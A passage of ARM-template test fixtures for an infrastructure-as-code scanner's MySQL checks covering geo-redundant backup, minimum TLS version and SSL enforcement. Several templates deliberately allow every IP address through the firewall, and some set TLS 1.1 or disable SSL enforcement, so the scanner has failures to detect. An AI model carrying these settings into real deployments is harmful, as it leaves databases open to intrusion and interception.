"Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MySQLGeoBackupEnabled/pass.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apiVersion": { "type": "string", "defaultValue": "2021-05-01" }, "administratorLogin": { "type": "string" }, "administratorLoginPassword": { "type": "securestring" }, "location": { "type": "string" }, "serverName": { "type": "string" }, "serverEdition": { "type": "string" }, "vCores": { "type": "int", "defaultValue": 4 }, "storageSizeGB": { "type": "int" }, "haEnabled": { "type": "string", "defaultValue": "Disabled" }, "availabilityZone": { "type": "string", "defaultValue": "" }, "standbyAvailabilityZone": { "type": "string" }, "version": { "type": "string" }, "tags": { "type": "object", "defaultValue": {} }, "firewallRules": { "type": "object", "defaultValue": {} }, "backupRetentionDays": { "type": "int" }, "geoRedundantBackup": { "type": "string", "defaultValue": true }, "vmName": { "type": "string", "defaultValue": "Standard_B1ms" }, "storageIops": { "type": "int" }, "storageAutogrow": { "type": "string", "defaultValue": "Enabled" }, "autoIoScaling": { "type": "string", "defaultValue": "Disabled" }, "identityData": { "type": "object", "defaultValue": {} }, "dataEncryptionData": { "type": "object", "defaultValue": { "type": "AzureKeyVault", "primaryUserAssignedIdentityId": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.ManagedIdentity/userAssignedIdentities/pike", "primaryKeyURI": "https://pike3.vault.azure.net/keys/pike/ae9a3b26e89445c49fe2b92091017ba2" } }, "serverParameters": { "type": "array", "defaultValue": [] }, "aadEnabled": { "type": "bool", "defaultValue": false }, "aadData": { "type": "object", "defaultValue": {} }, "guid": { "type": "string", "defaultValue": "[newGuid()]" }, "network": { "type": "object", "defaultValue": {} }, "firewallRulesAPIVersion": { "type": "string", "defaultValue": "2022-01-01" } }, "variables": { "api": "[parameters('apiVersion')]", "firewallRules": "[parameters('firewallRules').rules]", "serverParameters": "[parameters('serverParameters')]" }, "resources": [ { "apiVersion": "[variables('api')]", "location": "[parameters('location')]", "name": "pass", "identity": "[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]", "properties": { "createMode": "Default", "version": "[parameters('version')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "Network": "[if(empty(parameters('network')), json('null'), parameters('network'))]", "Storage": { "StorageSizeGB": "[parameters('storageSizeGB')]", "Iops": "[parameters('storageIops')]", "Autogrow": "[parameters('storageAutogrow')]", "AutoIoScaling": "[parameters('autoIoScaling')]" }, "Backup": { "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": true }, "availabilityZone": "[parameters('availabilityZone')]", "highAvailability": { "mode": "[parameters('haEnabled')]", "standbyAvailabilityZone": "[parameters('standbyAvailabilityZone')]" }, "dataencryption": "[parameters('dataEncryptionData')]" }, "sku": { "name": "[parameters('vmName')]", "tier": "[parameters('serverEdition')]", "capacity": "[parameters('vCores')]" }, "tags": "[parameters('tags')]", "type": "Microsoft.DBforMySQL/flexibleServers" }, { "condition": "[greater(length(variables('firewallRules')), 0)]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('firewallRules-', parameters('guid'), '-', copyIndex())]", "copy": { "count": "[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]", "mode": "Serial", "name": "firewallRulesIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/firewallRules", "name": "[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]", "apiVersion": "[parameters('firewallRulesAPIVersion')]", "properties": { "StartIpAddress": "[variables('firewallRules')[copyIndex()].startIPAddress]", "EndIpAddress": "[variables('firewallRules')[copyIndex()].endIPAddress]" } } ] } } }, { "condition": "[parameters('aadEnabled')]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "name": "[concat('addAdmins-', parameters('guid'))]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]" ], "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/administrators", "name": "[concat(parameters('serverName'),'/ActiveDirectory')]", "apiVersion": "[variables('api')]", "properties": { "administratorType": "[parameters('aadData').administratorType]", "identityResourceId": "[parameters('aadData').identityResourceId]", "login": "[parameters('aadData').login]", "sid": "[parameters('aadData').sid]", "tenantId": "[parameters('aadData').tenantId]" } } ] } } }, { "condition": "[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]", "type": "Microsoft.Resources/deployments", "apiVersion": "2019-08-01", "copy": { "count": "[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]", "mode": "serial", "name": "serverParametersIterator" }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]", "[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]" ], "name": "[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]", "properties": { "mode": "Incremental", "template": { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforMySQL/flexibleServers/configurations", "name": "[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]", "apiVersion": "[variables('api')]", "properties": { "value": "[variables('serverParameters')[copyIndex()].value]", "source": "[variables('serverParameters')[copyIndex()].source]" } } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_MySQLServerMinTLSVersion/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.26.54.24096", "templateHash": "1923296876861958074" } }, "parameters": { "serverName": { "type": "string", "metadata": { "description": "Server Name for Azure database for MySQL" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "metadata": { "description": "Database administrator password" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Azure database for MySQL compute capacity in vCores (2,4,8,16,32)" } }, "skuName": { "type": "string", "defaultValue": "GP_Gen5_2", "metadata": { "description": "Azure database for MySQL sku name " } }, "SkuSizeMB": { "type": "int", "defaultValue": 5120, "metadata": { "description": "Azure database for MySQL Sku Size " } }, "SkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "Basic", "GeneralPurpose", "MemoryOptimized" ], "metadata": { "description": "Azure database for MySQL pricing tier" } }, "skuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for MySQL sku family" } }, "mysqlVersion": { "type": "string", "defaultValue": "8.0", "allowedValues": [ "5.6", "5.7", "8.0" ], "metadata": { "description": "MySQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "backupRetentionDays": { "type": "int", "defaultValue": 7, "metadata": { "description": "MySQL Server backup retention days" } }, "geoRedundantBackup": { "type": "string", "defaultValue": "Disabled", "metadata": { "description": "Geo-Redundant Backup setting" } }, "virtualNetworkName": { "type": "string", "defaultValue": "azure_mysql_vnet", "metadata": { "description": "Virtual Network Name" } }, "subnetName": { "type": "string", "defaultValue": "azure_mysql_subnet", "metadata": { "description": "Subnet Name" } }, "virtualNetworkRuleName": { "type": "string", "defaultValue": "AllowSubnet", "metadata": { "description": "Virtual Network RuleName" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Virtual Network Address Prefix" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Subnet Address Prefix" } } }, "variables": { "firewallrules": [ { "Name": "rule1", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" }, { "Name": "rule2", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" } ] }, "resources": [ { "type": "Microsoft.DBforMySQL/servers/virtualNetworkRules", "apiVersion": "2017-12-01", "name": "[format('{0}/{1}', parameters('serverName'), parameters('virtualNetworkRuleName'))]", "properties": { "virtualNetworkSubnetId": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "ignoreMissingVnetServiceEndpoint": true }, "dependsOn": [ "[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]" ] }, { "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2023-09-01", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] } } }, { "type": "Microsoft.Network/virtualNetworks/subnets", "apiVersion": "2023-09-01", "name": "[format('{0}/{1}', parameters('virtualNetworkName'), parameters('subnetName'))]", "properties": { "addressPrefix": "[parameters('subnetPrefix')]" }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]" ] }, { "type": "Microsoft.DBforMySQL/servers", "apiVersion": "2017-12-01", "name": "fail", "location": "[parameters('location')]", "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('SkuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[format('{0}', parameters('SkuSizeMB'))]", "family": "[parameters('skuFamily')]" }, "properties": { "createMode": "Default", "version": "[parameters('mysqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('SkuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "minimalTlsVersion": "TLS1_1", "sslEnforcement": "Enabled" } }, { "copy": { "name": "firewallRules", "count": "[length(variables('firewallrules'))]", "mode": "serial", "batchSize": 1 }, "type": "Microsoft.DBforMySQL/servers/firewallRules", "apiVersion": "2017-12-01", "name": "[format('{0}/{1}', parameters('serverName'), variables('firewallrules')[copyIndex()].Name)]", "properties": { "startIpAddress": "[variables('firewallrules')[copyIndex()].StartIpAddress]", "endIpAddress": "[variables('firewallrules')[copyIndex()].EndIpAddress]" }, "dependsOn": [ "[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]" ] } ], "outputs": { "location": { "type": "string", "value": "[parameters('location')]" }, "name": { "type": "string", "value": "[parameters('serverName')]" }, "resourceGroupName": { "type": "string", "value": "[resourceGroup().name]" }, "resourceId": { "type": "string", "value": "[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]" } } } ================================================ FILE: tests/arm/checks/resource/example_MySQLServerMinTLSVersion/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.26.54.24096", "templateHash": "1923296876861958074" } }, "parameters": { "serverName": { "type": "string", "metadata": { "description": "Server Name for Azure database for MySQL" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "metadata": { "description": "Database administrator password" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Azure database for MySQL compute capacity in vCores (2,4,8,16,32)" } }, "skuName": { "type": "string", "defaultValue": "GP_Gen5_2", "metadata": { "description": "Azure database for MySQL sku name " } }, "SkuSizeMB": { "type": "int", "defaultValue": 5120, "metadata": { "description": "Azure database for MySQL Sku Size " } }, "SkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "allowedValues": [ "Basic", "GeneralPurpose", "MemoryOptimized" ], "metadata": { "description": "Azure database for MySQL pricing tier" } }, "skuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for MySQL sku family" } }, "mysqlVersion": { "type": "string", "defaultValue": "8.0", "allowedValues": [ "5.6", "5.7", "8.0" ], "metadata": { "description": "MySQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "backupRetentionDays": { "type": "int", "defaultValue": 7, "metadata": { "description": "MySQL Server backup retention days" } }, "geoRedundantBackup": { "type": "string", "defaultValue": "Disabled", "metadata": { "description": "Geo-Redundant Backup setting" } }, "virtualNetworkName": { "type": "string", "defaultValue": "azure_mysql_vnet", "metadata": { "description": "Virtual Network Name" } }, "subnetName": { "type": "string", "defaultValue": "azure_mysql_subnet", "metadata": { "description": "Subnet Name" } }, "virtualNetworkRuleName": { "type": "string", "defaultValue": "AllowSubnet", "metadata": { "description": "Virtual Network RuleName" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Virtual Network Address Prefix" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Subnet Address Prefix" } } }, "variables": { "firewallrules": [ { "Name": "rule1", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" }, { "Name": "rule2", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" } ] }, "resources": [ { "type": "Microsoft.DBforMySQL/servers/virtualNetworkRules", "apiVersion": "2017-12-01", "name": "[format('{0}/{1}', parameters('serverName'), parameters('virtualNetworkRuleName'))]", "properties": { "virtualNetworkSubnetId": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "ignoreMissingVnetServiceEndpoint": true }, "dependsOn": [ "[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]", "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]" ] }, { "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2023-09-01", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] } } }, { "type": "Microsoft.Network/virtualNetworks/subnets", "apiVersion": "2023-09-01", "name": "[format('{0}/{1}', parameters('virtualNetworkName'), parameters('subnetName'))]", "properties": { "addressPrefix": "[parameters('subnetPrefix')]" }, "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]" ] }, { "type": "Microsoft.DBforMySQL/servers", "apiVersion": "2017-12-01", "name": "pass", "location": "[parameters('location')]", "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('SkuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[format('{0}', parameters('SkuSizeMB'))]", "family": "[parameters('skuFamily')]" }, "properties": { "createMode": "Default", "version": "[parameters('mysqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('SkuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "minimalTlsVersion": "TLS1_2", "sslEnforcement": "Enabled" } }, { "copy": { "name": "firewallRules", "count": "[length(variables('firewallrules'))]", "mode": "serial", "batchSize": 1 }, "type": "Microsoft.DBforMySQL/servers/firewallRules", "apiVersion": "2017-12-01", "name": "[format('{0}/{1}', parameters('serverName'), variables('firewallrules')[copyIndex()].Name)]", "properties": { "startIpAddress": "[variables('firewallrules')[copyIndex()].StartIpAddress]", "endIpAddress": "[variables('firewallrules')[copyIndex()].EndIpAddress]" }, "dependsOn": [ "[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]" ] } ], "outputs": { "location": { "type": "string", "value": "[parameters('location')]" }, "name": { "type": "string", "value": "[parameters('serverName')]" }, "resourceGroupName": { "type": "string", "value": "[resourceGroup().name]" }, "resourceId": { "type": "string", "value": "[resourceId('Microsoft.DBforMySQL/servers', parameters('serverName'))]" } } } ================================================ FILE: tests/arm/checks/resource/example_MySQLServerSSLEnforcementEnabled/mysqlSSLEnforcementEnabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "metadata": { "description": "Server Name for Azure database for MySQL" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "metadata": { "description": "Database administrator password" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Azure database for MySQL compute capacity in vCores (2,4,8,16,32)" } }, "skuName": { "type": "string", "defaultValue": "GP_Gen5_2", "metadata": { "description": "Azure database for MySQL sku name " } }, "SkuSizeMB": { "type": "int", "defaultValue": 5120, "metadata": { "description": "Azure database for MySQL Sku Size " } }, "SkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "metadata": { "description": "Azure database for MySQL pricing tier" } }, "skuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for MySQL sku family" } }, "mysqlVersion": { "type": "string", "allowedValues": [ "5.6", "5.7" ], "defaultValue": "5.7", "metadata": { "description": "MySQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "backupRetentionDays": { "type": "int", "defaultValue": 7, "metadata": { "description": "MySQL Server backup retention days" } }, "geoRedundantBackup": { "type": "string", "defaultValue": "Disabled", "metadata": { "description": "Geo-Redundant Backup setting" } }, "virtualNetworkName": { "type": "string", "defaultValue": "azure_mysql_vnet", "metadata": { "description": "Virtual Network Name" } }, "subnetName": { "type": "string", "defaultValue": "azure_mysql_subnet", "metadata": { "description": "Subnet Name" } }, "virtualNetworkRuleName": { "type": "string", "defaultValue": "AllowSubnet", "metadata": { "description": "Virtual Network RuleName" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Virtual Network Address Prefix" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Subnet Address Prefix" } } }, "variables": { "firewallrules": { "batch": { "rules": [ { "Name": "rule1", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" }, { "Name": "rule2", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" } ] } } }, "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] } }, "resources": [ { "apiVersion": "2018-06-01", "type": "subnets", "location": "[parameters('location')]", "name": "[parameters('subnetName')]", "dependsOn": [ "[parameters('virtualNetworkName')]" ], "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforMySQL/servers", "location": "[parameters('location')]", "name": "[parameters('serverName')]", "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('skuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[parameters('skuSizeMB')]", "family": "[parameters('skuFamily')]" }, "properties": { "version": "[parameters('mysqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('skuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" } }, "resources": [ { "name": "[parameters('virtualNetworkRuleName')]", "type": "virtualNetworkRules", "apiVersion": "2017-12-01", "properties": { "virtualNetworkSubnetId": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "ignoreMissingVnetServiceEndpoint": true }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]" ] } ] }, { "name": "[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]", "type": "Microsoft.DBforMySQL/servers/firewallRules", "apiVersion": "2017-12-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]" ], "copy": { "name": "firewallRulesCopy", "mode": "Serial", "batchSize": 1, "count": "[length(variables('firewallrules').batch.rules)]" }, "properties": { "StartIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]", "EndIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_MySQLServerSSLEnforcementEnabled/mysqlSSLEnforcementEnabled-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "metadata": { "description": "Server Name for Azure database for MySQL" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "metadata": { "description": "Database administrator password" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Azure database for MySQL compute capacity in vCores (2,4,8,16,32)" } }, "skuName": { "type": "string", "defaultValue": "GP_Gen5_2", "metadata": { "description": "Azure database for MySQL sku name " } }, "SkuSizeMB": { "type": "int", "defaultValue": 5120, "metadata": { "description": "Azure database for MySQL Sku Size " } }, "SkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "metadata": { "description": "Azure database for MySQL pricing tier" } }, "skuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for MySQL sku family" } }, "mysqlVersion": { "type": "string", "allowedValues": [ "5.6", "5.7" ], "defaultValue": "5.7", "metadata": { "description": "MySQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "backupRetentionDays": { "type": "int", "defaultValue": 7, "metadata": { "description": "MySQL Server backup retention days" } }, "geoRedundantBackup": { "type": "string", "defaultValue": "Disabled", "metadata": { "description": "Geo-Redundant Backup setting" } }, "virtualNetworkName": { "type": "string", "defaultValue": "azure_mysql_vnet", "metadata": { "description": "Virtual Network Name" } }, "subnetName": { "type": "string", "defaultValue": "azure_mysql_subnet", "metadata": { "description": "Subnet Name" } }, "virtualNetworkRuleName": { "type": "string", "defaultValue": "AllowSubnet", "metadata": { "description": "Virtual Network RuleName" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Virtual Network Address Prefix" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Subnet Address Prefix" } } }, "variables": { "firewallrules": { "batch": { "rules": [ { "Name": "rule1", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" }, { "Name": "rule2", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" } ] } } }, "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] } }, "resources": [ { "apiVersion": "2018-06-01", "type": "subnets", "location": "[parameters('location')]", "name": "[parameters('subnetName')]", "dependsOn": [ "[parameters('virtualNetworkName')]" ], "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforMySQL/servers", "location": "[parameters('location')]", "name": "[parameters('serverName')]", "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('skuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[parameters('skuSizeMB')]", "family": "[parameters('skuFamily')]" }, "properties": { "version": "[parameters('mysqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('skuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "sslEnforcement": "Disabled" }, "resources": [ { "name": "[parameters('virtualNetworkRuleName')]", "type": "virtualNetworkRules", "apiVersion": "2017-12-01", "properties": { "virtualNetworkSubnetId": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "ignoreMissingVnetServiceEndpoint": true }, "dependsOn": [ "[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]" ] } ] }, { "name": "[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]", "type": "Microsoft.DBforMySQL/servers/firewallRules", "apiVersion": "2017-12-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.DBforMySQL/servers/', parameters('serverName'))]" ], "copy": { "name": "firewallRulesCopy", "mode": "Serial", "batchSize": 1, "count": "[length(variables('firewallrules').batch.rules)]" }, "properties": { "StartIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]", "EndIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_MySQLServerSSLEnforcementEnabled/mysqlSSLEnforcementEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "metadata": { "description": "Server Name for Azure database for MySQL" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "metadata": { "description": "Database administrator password" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Azure database for MySQL compute capacity in vCores (2,4,8,16,32)" } }, "skuName": { "type": "string", "defaultValue": "GP_Gen5_2", "metadata": { "description": "Azure database for MySQL sku name " } }, "SkuSizeMB": { "type": "int", "defaultValue": 5120, "metadata": { "description": "Azure database for MySQL Sku Size " } }, "SkuTier": { "type": "string", "defaultValue": "GeneralPurpose", "metadata": { "description": "Azure database for MySQL pricing tier" } }, "skuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for MySQL sku family" } }, "mysqlVersion": { "type": "string", "allowedValues": [ "5.6", "5.7" ], "defaultValue": "5.7", "metadata": { "description": "MySQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "backupRetentionDays": { "type": "int", "defaultValue": 7, "metadata": { "description": "MySQL Server backup retention days" } }, "geoRedundantBackup": { "type": "string", "defaultValue": "Disabled", "metadata": { "description": "Geo-Redundant Backup setting" } }, "virtualNetworkName": { "type": "string", "defaultValue": "azure_mysql_vnet", "metadata": { "description": "Virtual Network Name" } }, "subnetName": { "type": "string", "defaultValue": "azure_mysql_subnet", "metadata": { "description": "Subnet Name" } }, "virtualNetworkRuleName": { "type": "string", "defaultValue": "AllowSubnet", "metadata": { "description": "Virtual Network RuleName" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Virtual Network Address Prefix" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Subnet Address Prefix" } } }, "variables": { "firewallrules": { "batch": { "rules": [ { "Name": 